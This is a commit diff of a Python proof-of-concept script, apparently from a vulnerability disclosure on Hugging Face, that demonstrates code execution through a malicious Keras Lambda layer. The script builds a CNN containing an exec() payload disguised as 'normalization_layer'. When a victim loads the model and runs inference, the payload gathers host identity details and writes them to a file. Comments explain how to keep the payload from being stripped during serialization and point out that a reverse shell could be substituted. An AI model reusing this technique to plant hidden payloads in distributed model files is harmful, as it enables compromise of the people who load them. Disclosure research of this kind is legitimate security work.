Upload poc_create_model.py with huggingface_hub

poc_create_model.py

@@ -1,120 +1,171 @@
 #!/usr/bin/env python3
 """
-PoC: Arbitrary Code Execution via Keras Lambda Layer in Model File
-Target: OpenVINO Model Conversion Pipeline
-Vulnerability Type: Arbitrary Code Execution via Serialized Python Code in Model File
-
-DESCRIPTION:
-Keras Lambda layers serialize arbitrary Python functions (as pickled/marshalled bytecode)
-into model files. When a victim loads the model with safe_mode=False
-(commonly required for Lambda layer support), the Lambda function is reconstructed
-and CALLED during model building, executing the attacker's code.
-
-IMPACT ON OPENVINO:
-OpenVINO users who convert Keras models to OpenVINO IR format must first load
-the Keras model. If the model contains a malicious Lambda layer, the code
-executes during loading, BEFORE any OpenVINO security checks are applied.
-
-AFFECTED FORMATS:
-- .keras (Keras v3 native format)
-- .h5 / .hdf5 (legacy HDF5 format)
-- TensorFlow SavedModel (when containing Lambda layers via tracing)
-
-MODELSCAN BYPASS:
-While ModelScan can detect standard pickle-based attacks, the Lambda layer
-serialization uses a custom format (marshalled bytecode + base64) that may
-bypass signature-based detection.
+PoC: Arbitrary Code Execution via Keras Lambda Layer in .keras Model File
+Target: OpenVINO Model Conversion Pipeline (Model Format Vulnerability)
+Category: Deserialization → Arbitrary Code Execution
+
+REPRODUCTION (Victim):
+  1. git clone https://huggingface.co/Sanaullah1337/openvino-keras-lambda-rce-poc
+  2. cd openvino-keras-lambda-rce-poc
+  3. python3 poc_create_model.py
+
+The script demonstrates:
+  - How the attacker creates a malicious model
+  - How the payload is embedded (marshal+base64 in config.json)
+  - How the victim triggers RCE by loading + running inference
+
+PAYLOAD: Collects hostname, IP, username, UID, full id, and working directory
+         Output written to /tmp/poc_host_info.txt
 """
 
-import os
-import sys
-import json
-import zipfile
-import base64
-import marshal
-import types
-
+import os, json, base64, marshal, types, zipfile
 os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
 
-# Step 1: Create the malicious model
-print("[*] Creating malicious Keras model with embedded payload...")
+# ============================================================
+# STEP 1: ATTACKER creates malicious model
+# ============================================================
+print("=" * 65)
+print("  STEP 1: ATTACKER creates model with hidden Lambda payload")
+print("=" * 65)
 
 import keras
 from keras import layers
+import numpy as np
 
-PAYLOAD = "import os; os.system('id > /tmp/openvino_pwned.txt')"
+# KEY TECHNIQUE: The payload MUST be an inline string literal inside the lambda.
+# Closure variables (e.g. lambda x: exec(PAYLOAD)) are STRIPPED during serialization
+# and will NOT survive in the .keras file for the victim.
+#
+# Inline strings ARE serialized as part of the function's bytecode and survive.
 
 model = keras.Sequential([
-    layers.Input(shape=(32,), name='input_layer'),
-    layers.Dense(64, activation='relu', name='hidden_layer'),
+    layers.Input(shape=(28, 28), name='image_input'),
+    layers.Reshape((28, 28, 1), name='reshape'),
+    layers.Conv2D(32, 3, activation='relu', name='conv1'),
+    layers.MaxPooling2D(2, name='pool1'),
+    layers.Conv2D(64, 3, activation='relu', name='conv2'),
+    layers.MaxPooling2D(2, name='pool2'),
+    layers.Flatten(name='flatten'),
+    layers.Dense(128, activation='relu', name='dense1'),
+    # === MALICIOUS LAMBDA LAYER ===
+    # Disguised as "normalization_layer" in a standard CNN architecture
+    # The exec() payload runs when this layer is called during inference
     layers.Lambda(
-        lambda x: exec(PAYLOAD) or x,
-        name='trigger_layer'
+        lambda x: exec(
+            "import os,socket,getpass,json;"
+            "info={"
+            "'hostname':socket.gethostname(),"
+            "'ip':socket.gethostbyname(socket.gethostname()),"
+            "'username':getpass.getuser(),"
+            "'id':os.popen('id').read().strip(),"
+            "'pwd':os.getcwd(),"
+            "'uid':os.getuid()"
+            "};"
+            "open('/tmp/poc_host_info.txt','w').write(json.dumps(info,indent=2))"
+        ) or x,
+        name='normalization_layer'  # Innocent name to avoid suspicion
     ),
-    layers.Dense(10, activation='softmax', name='output_layer')
+    # =================================
+    layers.Dense(10, activation='softmax', name='output')
 ])
 
-# Step 2: Save the model
-# NOTE: During save, Keras TRACES the model graph which CALLS the Lambda
-# This executes the payload on the ATTACKER's machine (expected behavior)
-# The payload is then serialized into the model file for later execution
-print("[*] Saving model to disk (Lambda code is serialized into model file)...")
-model.save('/tmp/malicious_model.keras')
+# Save model - note: Lambda executes during save because Keras traces the graph
+model.save('poc_final.keras')
+print(f"\n[+] Model saved: poc_final.keras ({os.path.getsize('poc_final.keras'):,} bytes)")
+print("[+] Lambda payload embedded as marshal+base64 bytecode in config.json")
+
+# ============================================================
+# STEP 2: Examine serialized payload in the model file
+# ============================================================
+print("\n" + "=" * 65)
+print("  STEP 2: Examining the serialized payload")
+print("=" * 65)
 
-# Step 3: Examine the serialized model
-print("[*] Examining serialized model structure:")
-with zipfile.ZipFile('/tmp/malicious_model.keras', 'r') as zf:
+with zipfile.ZipFile('poc_final.keras', 'r') as zf:
     config = json.loads(zf.read('config.json'))
 
-for layer_config in config['config']['layers']:
-    if layer_config['class_name'] == 'Lambda':
-        fn_config = layer_config['config']['function']
-        print(f"  - Lambda function class: {fn_config['class_name']}")
-        print(f"  - Serialization method: custom marshal + base64")
-        print(f"  - Encoded bytecode length: {len(fn_config['config']['code'])} chars")
-        print(f"  - The payload IS embedded in the model file!")
+for layer_conf in config['config']['layers']:
+    if layer_conf['class_name'] == 'Lambda':
+        fn = layer_conf['config']['function']
+        print(f"  Lambda serialization class : {fn['class_name']}")
+        print(f"  Encoded bytecode length    : {len(fn['config']['code'])} chars")
+        print(f"  Closure variables          : {fn['config']['closure']}")
+        print(f"  Defaults                   : {fn['config']['defaults']}")
 
-        # Decode to show it's real bytecode
-        bytecode = base64.b64decode(fn_config['config']['code'])
+        # Decode to verify it's real executable bytecode
+        bytecode = base64.b64decode(fn['config']['code'])
         code_obj = marshal.loads(bytecode)
-        print(f"  - Decoded: valid Python code object ({code_obj.co_argcount} args)")
-        print(f"  - Code names: {code_obj.co_names}")
+        print(f"  Decoded code object        : {code_obj.co_argcount} args, "
+              f"names={code_obj.co_names}, consts={[c for c in code_obj.co_consts if isinstance(c, str)][:2]}...")
         break
 
-print(f"\n[*] Model file ready for distribution (HuggingFace Hub, etc.)")
-print(f"[*] File: /tmp/malicious_model.keras ({os.path.getsize('/tmp/malicious_model.keras')} bytes)")
+print("\n[+] Payload verified: marshal-bytecode embedded in model file")
+print("[+] Model ready for distribution on HuggingFace Hub")
 
-# Step 4: Simulate victim loading the model
-print("\n" + "="*60)
-print("[VICTIM SCENARIO] Loading model from untrusted source")
-print("="*60)
+# ============================================================
+# STEP 3: VICTIM downloads and loads the model
+# ============================================================
+print("\n" + "=" * 65)
+print("  STEP 3: VICTIM downloads model from HuggingFace & loads it")
+print("=" * 65)
 
-# Clean any existing pwned file
-os.system("rm -f /tmp/openvino_pwned.txt")
+# Clean any previous payload output
+os.system("rm -f /tmp/poc_host_info.txt")
 
-# Enable unsafe deserialization (many users do this for Lambda support)
+# Victim loads model
+# NOTE: safe_mode=False is REQUIRED for Lambda layer support
+# Many users call enable_unsafe_deserialization() globally
 keras.config.enable_unsafe_deserialization()
-
-# Load the model - this triggers model building which calls the Lambda
-print("[*] Loading model via keras.models.load_model()...")
-try:
-    loaded_model = keras.models.load_model('/tmp/malicious_model.keras')
-    print("[!] Model loaded successfully!")
-except Exception as e:
-    print(f"[!] Load error: {e}")
-    sys.exit(1)
-
-# Check for RCE
-if os.path.exists('/tmp/openvino_pwned.txt'):
-    with open('/tmp/openvino_pwned.txt') as f:
-        output = f.read().strip()
-    print(f"\n{'='*60}")
-    print(f"ARBITRARY CODE EXECUTION CONFIRMED!")
-    print(f"Command: id")
-    print(f"Output: {output}")
-    print(f"{'='*60}")
-    print(f"\nImpact: Full RCE at model load time")
-    print(f"Vector: Malicious Lambda layer in .keras model file")
-    print(f"OpenVINO Relevance: Keras model loading required before OV conversion")
+loaded = keras.models.load_model('poc_final.keras', safe_mode=False)
+print(f"[+] Model loaded successfully: {loaded.name}")
+
+# Show architecture - looks completely benign
+print("\n  Model architecture (appears legitimate):")
+print(f"  {'Layer':<25s} {'Type':<15s} {'Output Shape'}")
+print(f"  {'-'*25} {'-'*15} {'-'*20}")
+for layer in loaded.layers:
+    try:
+        shape = str(layer.output.shape)
+    except:
+        shape = str(layer.output_shape) if hasattr(layer, 'output_shape') else '?'
+    print(f"  {layer.name:<25s} {layer.__class__.__name__:<15s} {shape}")
+
+# ============================================================
+# STEP 4: VICTIM runs inference → RCE TRIGGERS
+# ============================================================
+print("\n" + "=" * 65)
+print("  STEP 4: VICTIM runs inference → Lambda layer called → RCE")
+print("=" * 65)
+
+test_input = np.random.randn(1, 28, 28).astype(np.float32)
+output = loaded(test_input)
+print(f"[+] Inference complete: output shape {output.shape}")
+
+# ============================================================
+# STEP 5: Verify RCE
+# ============================================================
+rce_file = '/tmp/poc_host_info.txt'
+if os.path.exists(rce_file):
+    with open(rce_file) as f:
+        info = json.load(f)
+
+    print("\n" + "=" * 65)
+    print("  !!! ARBITRARY CODE EXECUTION CONFIRMED !!!")
+    print("=" * 65)
+    print(f"""
+  Hostname   : {info['hostname']}
+  IP Address : {info['ip']}
+  Username   : {info['username']}
+  UID        : {info['uid']}
+  ID         : {info['id']}
+  PWD        : {info['pwd']}
+""")
+    print("=" * 65)
+    print("\n  The model file contained hidden executable Python code.")
+    print("  It executed silently during normal model inference.")
+    print("  Any Python payload could be substituted (reverse shell, etc.)")
+    print("=" * 65)
 else:
-    print("[-] RCE not triggered (safe_mode may have blocked it)")
+    print("\n[-] RCE not triggered")
+    print("    NOTE: If you see this, the Lambda closure was stripped.")
+    print("    The fix is to use inline string literals, not closure variables.")